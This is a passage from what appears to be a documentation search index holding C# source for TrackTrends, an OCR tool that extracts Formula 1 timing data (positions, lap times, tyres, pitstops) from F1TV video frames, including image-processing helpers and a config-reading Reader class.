inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int blue = ( int ) pixel [ 0 ]; int green = ( int ) pixel [ 1 ]; int red = ( int ) pixel [ 2 ]; int max = Math . Max ( Math . Max ( blue , green ), red ); if ( max > 255 / 3 ) max = 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) max ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding ( Bitmap inputBitmap , int threshold ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); int value = gray < threshold ? 0 : 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) value ; } }); } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R <= F1TV_BACKGROUND_TRESHOLD . R && G <= F1TV_BACKGROUND_TRESHOLD . G && B <= F1TV_BACKGROUND_TRESHOLD . B ) pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless ( Bitmap inputBitmap ) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); List < int > pixelsToRemove = new List < int >(); bool fromBorder = true ; for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } fromBorder = true ; for ( int x = inputBitmap . Width - 1 ; x > 0 ; x --) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } foreach ( int pxPos in pixelsToRemove ) { byte * pixel = currentLine + ( pxPos * bytesPerPixel ); pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } //Removing the color parts for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R + 25 || G >= F1TV_BACKGROUND_TRESHOLD . G + 25 || B >= F1TV_BACKGROUND_TRESHOLD . B + 25 ) { pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; int totR = 0 ; int totG = 0 ; int totB = 0 ; int totPixels = 1 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R || G >= F1TV_BACKGROUND_TRESHOLD . G || B >= F1TV_BACKGROUND_TRESHOLD . B ) { totPixels ++; totB += pixel [ 0 ]; totG += pixel [ 1 ]; totR += pixel [ 2 ]; } } }); } inputBitmap . UnlockBits ( bmpData ); return Color . FromArgb ( 255 , Math . Min ( Convert . ToInt32 (( float ) totR / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totG / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totB / ( float ) totPixels ), 255 )); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); pixel [ 0 ] = ( byte )( 255 - pixel [ 0 ]); pixel [ 1 ] = ( byte )( 255 - pixel [ 1 ]); pixel [ 2 ] = ( byte )( 255 - pixel [ 2 ]); } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize ( Bitmap inputBitmap , int resizeFactor ) { var resultBitmap = new Bitmap ( inputBitmap . Width * resizeFactor , inputBitmap . Height * resizeFactor ); using ( var graphics = Graphics . FromImage ( resultBitmap )) { graphics . InterpolationMode = InterpolationMode . HighQualityBicubic ; graphics . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , resultBitmap . Width , resultBitmap . Height )); } return resultBitmap ; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours ( Bitmap inputBitmap ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); Bitmap grayscale = Grayscale ( inputBitmap ); Bitmap thresholded = Tresholding ( grayscale , 128 ); Bitmap dilated = Dilatation ( thresholded , 3 ); Bitmap eroded = Erode ( dilated , 3 ); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { for ( int x = 0 ; x < inputBitmap . Width ; x ++) { Color pixel = inputBitmap . GetPixel ( x , y ); Color dilatedPixel = dilated . GetPixel ( x , y ); Color erodedPixel = eroded . GetPixel ( x , y ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); int threshold = dilatedPixel . R ; if ( gray > threshold ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else if ( gray <= threshold && erodedPixel . R == 0 ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = true ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray >= 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = false ; break ; } } if (! flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = false ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray < 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = true ; break ; } } if ( flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } } } return outputBitmap ; } } }","title":"OcrImage.cs"},{"location":"Code/Reader.html","text":"Reader.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.Windows.Forms ; using System.IO ; using System.Text.Json ; namespace TrackTrends { public class Reader { const int NUMBER_OF_DRIVERS = 20 ; public List < string > Drivers ; public List < Zone > MainZones ; private SqliteStorage _storage ; private List < DriverData >[] DriverDataLogs = new List < DriverData >[ NUMBER_OF_DRIVERS ]; private int [] DriverLaps = new int [ NUMBER_OF_DRIVERS ]; public SqliteStorage Storage { get => _storage ; private set => _storage = value ; } public Reader ( string configFile , Bitmap image , bool loadOCR = true ) { Storage = new SqliteStorage (); MainZones = Load ( image , configFile , ref Drivers , loadOCR ); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public List < Zone > Load ( Bitmap image , string configFilePath , ref List < string > driverListToFill , bool LoadOCR ) { // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image List < Zone > mainZones = new List < Zone >(); Bitmap fullImage = image ; Zone mainZone ; for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { DriverDataLogs [ i ] = new List < DriverData >(); DriverLaps [ i ] = 0 ; } try { string jsonString = File . ReadAllText ( configFilePath ); JsonDocument document = JsonDocument . Parse ( jsonString ); JsonElement root = document . RootElement ; mainZones = new List < Zone >(); driverListToFill = new List < string >(); JsonElement main = root . GetProperty ( \"Main\" ); int x = main . GetProperty ( \"x\" ). GetInt32 (); int y = main . GetProperty ( \"y\" ). GetInt32 (); int width = main . GetProperty ( \"width\" ). GetInt32 (); int height = main . GetProperty ( \"height\" ). GetInt32 (); mainZone = new Zone ( fullImage , new Rectangle ( x , y , width , height ), \"Main\" ); mainZone . ResetWindows (); mainZone . ResetZones (); JsonElement driverZones = main . GetProperty ( \"DriverZones\" ); foreach ( JsonElement driverZoneElement in driverZones . EnumerateArray ()) { string name = driverZoneElement . GetProperty ( \"name\" ). GetString (); int driverX = driverZoneElement . GetProperty ( \"x\" ). GetInt32 () + mainZone . Bounds . X ; int driverY = driverZoneElement . GetProperty ( \"y\" ). GetInt32 () + mainZone . Bounds . Y ; int driverWidth = driverZoneElement . GetProperty ( \"width\" ). GetInt32 (); int driverHeight = driverZoneElement . GetProperty ( \"height\" ). GetInt32 (); Zone driverZone = new Zone ( fullImage , new Rectangle ( driverX , driverY , driverWidth , driverHeight ), \"Driver\" ); JsonElement windowsElement = driverZoneElement . GetProperty ( \"Windows\" ); //string[] windowNames = new string[] { \"Position\",\"GapToLeader\",\"LapTime\",\"DRS\",\"Tyres\",\"Name\",\"Sector1\",\"Sector2\",\"Sector3\" }; foreach ( JsonElement windowElement in windowsElement . EnumerateArray ()) { //Position JsonElement posEl = windowElement . GetProperty ( \"Position\" ); DriverPositionWindow positionWindow = new DriverPositionWindow ( driverZone . ZoneImage , new Rectangle ( posEl . GetProperty ( \"x\" ). GetInt32 (), posEl . GetProperty ( \"y\" ). GetInt32 (), posEl . GetProperty ( \"width\" ). GetInt32 (), posEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //GapToLeader JsonElement gapEl = windowElement . GetProperty ( \"GapToLeader\" ); DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow ( driverZone . ZoneImage , new Rectangle ( gapEl . GetProperty ( \"x\" ). GetInt32 (), gapEl . GetProperty ( \"y\" ). GetInt32 (), gapEl . GetProperty ( \"width\" ). GetInt32 (), gapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //LapTime JsonElement lapEl = windowElement . GetProperty ( \"LapTime\" ); DriverLapTimeWindow lapWindow = new DriverLapTimeWindow ( driverZone . ZoneImage , new Rectangle ( lapEl . GetProperty ( \"x\" ). GetInt32 (), lapEl . GetProperty ( \"y\" ). GetInt32 (), lapEl . GetProperty ( \"width\" ). GetInt32 (), lapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //DRS JsonElement drsEl = windowElement . GetProperty ( \"DRS\" ); DriverDrsWindow drsWindow = new DriverDrsWindow ( driverZone . ZoneImage , new Rectangle ( drsEl . GetProperty ( \"x\" ). GetInt32 (), drsEl . GetProperty ( \"y\" ). GetInt32 (), drsEl . GetProperty ( \"width\" ). GetInt32 (), drsEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Tyre JsonElement tyresEl = windowElement . GetProperty ( \"Tyres\" ); DriverTyresWindow tyreWindow = new DriverTyresWindow ( driverZone . ZoneImage , new Rectangle ( tyresEl . GetProperty ( \"x\" ). GetInt32 (), tyresEl . GetProperty ( \"y\" ). GetInt32 (), tyresEl . GetProperty ( \"width\" ). GetInt32 (), tyresEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Name JsonElement nameEl = windowElement . GetProperty ( \"Name\" ); DriverNameWindow nameWindow = new DriverNameWindow ( driverZone . ZoneImage , new Rectangle ( nameEl . GetProperty ( \"x\" ). GetInt32 (), nameEl . GetProperty ( \"y\" ). GetInt32 (), nameEl . GetProperty ( \"width\" ). GetInt32 (), nameEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Sector1 JsonElement sec1El = windowElement . GetProperty ( \"Sector1\" ); DriverSectorWindow sec1Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec1El . GetProperty ( \"x\" ). GetInt32 (), sec1El . GetProperty ( \"y\" ). GetInt32 (), sec1El . GetProperty ( \"width\" ). GetInt32 (), sec1El . GetProperty ( \"height\" ). GetInt32 ()), 1 , LoadOCR ); //Sector2 JsonElement sec2El = windowElement . GetProperty ( \"Sector2\" ); DriverSectorWindow sec2Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec2El . GetProperty ( \"x\" ). GetInt32 (), sec2El . GetProperty ( \"y\" ). GetInt32 (), sec2El . GetProperty ( \"width\" ). GetInt32 (), sec2El . GetProperty ( \"height\" ). GetInt32 ()), 2 , LoadOCR ); //Sector3 JsonElement sec3El = windowElement . GetProperty ( \"Sector3\" ); DriverSectorWindow sec3Window = new DriverSectorWindow ( driverZone . ZoneImage , new Rectangle ( sec3El . GetProperty ( \"x\" ). GetInt32 (), sec3El . GetProperty ( \"y\" ). GetInt32 (), sec3El . GetProperty ( \"width\" ). GetInt32 (), sec3El . GetProperty ( \"height\" ). GetInt32 ()), 3 , LoadOCR ); driverZone . AddWindow ( positionWindow ); driverZone . AddWindow ( gapWindow ); driverZone . AddWindow ( lapWindow ); driverZone . AddWindow ( drsWindow ); driverZone . AddWindow ( tyreWindow ); driverZone . AddWindow ( nameWindow ); driverZone . AddWindow ( sec1Window ); driverZone . AddWindow ( sec2Window ); driverZone . AddWindow ( sec3Window ); } mainZone . AddZone ( driverZone ); } JsonElement driversElement = main . GetProperty ( \"Drivers\" ); foreach ( JsonElement driverElement in driversElement . EnumerateArray ()) { string driverName = driverElement . GetString (); driverListToFill . Add ( driverName ); Storage . AddDriver ( driverName ); } mainZones . Add ( mainZone ); } catch ( IOException ex ) { MessageBox . Show ( \"Error reading JSON file: \" + ex . Message ); } catch ( JsonException ex ) { MessageBox . Show ( \"Invalid JSON format: \" + ex . Message ); } int driverID = 0 ; foreach ( Zone z in mainZones [ 0 ]. Zones ) { driverID ++; z . ZoneImage . Save ( \"LoadedDriver\" + driverID + \".png\" ); } return mainZones ; } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns public List < DriverData > Decode ( List < Zone > mainZones , List < string > drivers ) { List < DriverData > mainResults = new List < DriverData >(); //Decode for ( int mainZoneId = 0 ; mainZoneId < mainZones . Count ; mainZoneId ++) { switch ( mainZoneId ) { case 0 : //object lockObject = new object(); //Main Zone Parallel . For ( 0 , mainZones [ mainZoneId ]. Zones . Count , async i => //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++) { DriverData data = mainZones [ mainZoneId ]. Zones [ i ]. Decode ( new List < string >( drivers )); mainResults . Add ( data ); DriverDataLogs [ i ]. Add ( data ); if ( data . Position != - 1 && DriverDataLogs [ i ]. Count > 1 ) { //Tries to fix the tyres if ( data . CurrentTyre . NumberOfLaps > DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 3 ) data . CurrentTyre . NumberOfLaps = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps + 1 ; //Checking if its a new lap //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing. if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { DriverData stats = new DriverData (); stats = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]; DriverLaps [ i ]++; Storage . AddDriverStat ( stats , DriverLaps [ i ]); } //Checking if its a pitstop //Forget this the best way to know if a tyre has been changed is if the number of laps is zero if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { Storage . AddPitstop ( data . Name , DriverLaps [ i ] - 1 , data . CurrentTyre . Coumpound . ToString ()); //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop } } DriverDataLogs [ i ]. Add ( data ); }); break ; //Next there could be a Title Zone and TrackInfoZone } } //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList(); mainResults = mainResults . OrderBy ( driver => driver . Position ). ToList (); return mainResults ; } /// /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows /// /// The new Image from the F1TV data channel public void ChangeImage ( Bitmap Image ) { foreach ( Zone z in MainZones ) { z . Image = Image ; } } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime ( int amountOfMs ) { //Convert.ToInt32 would round upand I dont want that int minuts = ( int )(( float ) amountOfMs / ( 1000f * 60f )); int seconds = ( int )(( amountOfMs - ( minuts * 60f * 1000f )) / 1000 ); int ms = amountOfMs - (( minuts * 60 * 1000 ) + ( seconds * 1000 )); return minuts + \":\" + seconds . ToString ( \"00\" ) + \":\" + ms . ToString ( \"000\" ); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw ( Bitmap image , List < Zone > mainZones ) { Graphics g = Graphics . FromImage ( image ); foreach ( Zone z in mainZones ) { int count = 0 ; foreach ( Zone zz in z . Zones ) { g . DrawRectangle ( Pens . Red , z . Bounds ); foreach ( Window w in zz . Windows ) { g . DrawRectangle ( Pens . Blue , new Rectangle ( z . Bounds . X + zz . Bounds . X , z . Bounds . Y + zz . Bounds . Y , zz . Bounds . Width , zz . Bounds . Height )); } count ++; } } return image ; } } }","title":"Reader.cs"},{"location":"Code/Reader.html#readercs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Reader.cs /// Brief : Class used to Read the config file for the OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.Windows.Forms ; using System.IO ; using System.Text.Json ; namespace TrackTrends { public class Reader { const int NUMBER_OF_DRIVERS = 20 ; public List < string > Drivers ; public List < Zone > MainZones ; private SqliteStorage _storage ; private List < DriverData >[] DriverDataLogs = new List < DriverData >[ NUMBER_OF_DRIVERS ]; private int [] DriverLaps = new int [ NUMBER_OF_DRIVERS ]; public SqliteStorage Storage { get => _storage ; private set => _storage = value ; } public Reader ( string configFile , Bitmap image , bool loadOCR = true ) { Storage = new SqliteStorage (); MainZones = Load ( image , configFile , ref Drivers , loadOCR ); } /// /// Method that reads the JSON config file and create all the Zones and Windows /// /// The image #id on wich you want to create the zones on public List < Zone > Load ( Bitmap image , string configFilePath , ref List < string > driverListToFill , bool LoadOCR ) { // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image List < Zone > mainZones = new List < Zone >(); Bitmap fullImage = image ; Zone mainZone ; for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { DriverDataLogs [ i ] = new List < DriverData >(); DriverLaps [ i ] = 0 ; } try { string jsonString = File . ReadAllText ( configFilePath ); JsonDocument document = JsonDocument . Parse ( jsonString ); JsonElement root = document . RootElement ; mainZones = new List < Zone >(); driverListToFill = new List < string >(); JsonElement main = root . GetProperty ( \"Main\" ); int x = main . GetProperty ( \"x\" ). GetInt32 (); int y = main . GetProperty ( \"y\" ). GetInt32 (); int width = main . GetProperty ( \"width\" ). GetInt32 (); int height = main . GetProperty ( \"height\" ). GetInt32 (); mainZone = new Zone ( fullImage , new Rectangle ( x , y , width , height ), \"Main\" ); mainZone . ResetWindows (); mainZone . ResetZones (); JsonElement driverZones = main . GetProperty ( \"DriverZones\" ); foreach ( JsonElement driverZoneElement in driverZones . EnumerateArray ()) { string name = driverZoneElement . GetProperty ( \"name\" ). GetString (); int driverX = driverZoneElement . GetProperty ( \"x\" ). GetInt32 () + mainZone . Bounds . X ; int driverY = driverZoneElement . GetProperty ( \"y\" ). GetInt32 () + mainZone . Bounds . Y ; int driverWidth = driverZoneElement . GetProperty ( \"width\" ). GetInt32 (); int driverHeight = driverZoneElement . GetProperty ( \"height\" ). GetInt32 (); Zone driverZone = new Zone ( fullImage , new Rectangle ( driverX , driverY , driverWidth , driverHeight ), \"Driver\" ); JsonElement windowsElement = driverZoneElement . GetProperty ( \"Windows\" ); //string[] windowNames = new string[] { \"Position\",\"GapToLeader\",\"LapTime\",\"DRS\",\"Tyres\",\"Name\",\"Sector1\",\"Sector2\",\"Sector3\" }; foreach ( JsonElement windowElement in windowsElement . EnumerateArray ()) { //Position JsonElement posEl = windowElement . GetProperty ( \"Position\" ); DriverPositionWindow positionWindow = new DriverPositionWindow ( driverZone . ZoneImage , new Rectangle ( posEl . GetProperty ( \"x\" ). GetInt32 (), posEl . GetProperty ( \"y\" ). GetInt32 (), posEl . GetProperty ( \"width\" ). GetInt32 (), posEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //GapToLeader JsonElement gapEl = windowElement . GetProperty ( \"GapToLeader\" ); DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow ( driverZone . ZoneImage , new Rectangle ( gapEl . GetProperty ( \"x\" ). GetInt32 (), gapEl . GetProperty ( \"y\" ). GetInt32 (), gapEl . GetProperty ( \"width\" ). GetInt32 (), gapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //LapTime JsonElement lapEl = windowElement . GetProperty ( \"LapTime\" ); DriverLapTimeWindow lapWindow = new DriverLapTimeWindow ( driverZone . ZoneImage , new Rectangle ( lapEl . GetProperty ( \"x\" ). GetInt32 (), lapEl . GetProperty ( \"y\" ). GetInt32 (), lapEl . GetProperty ( \"width\" ). GetInt32 (), lapEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //DRS JsonElement drsEl = windowElement . GetProperty ( \"DRS\" ); DriverDrsWindow drsWindow = new DriverDrsWindow ( driverZone . ZoneImage , new Rectangle ( drsEl . GetProperty ( \"x\" ). GetInt32 (), drsEl . GetProperty ( \"y\" ). GetInt32 (), drsEl . GetProperty ( \"width\" ). GetInt32 (), drsEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Tyre JsonElement tyresEl = windowElement . GetProperty ( \"Tyres\" ); DriverTyresWindow tyreWindow = new DriverTyresWindow ( driverZone . ZoneImage , new Rectangle ( tyresEl . GetProperty ( \"x\" ). GetInt32 (), tyresEl . GetProperty ( \"y\" ). GetInt32 (), tyresEl . GetProperty ( \"width\" ). GetInt32 (), tyresEl . GetProperty ( \"height\" ). GetInt32 ()), LoadOCR ); //Name JsonElement nameEl = windowElement . GetProperty ( \"Name\" ); DriverNameWindow nameWindow = new DriverNameWindow ( driverZone . ZoneImage , new Rectangle ( nameEl . GetProperty ( \"x\" ). GetInt32 (), 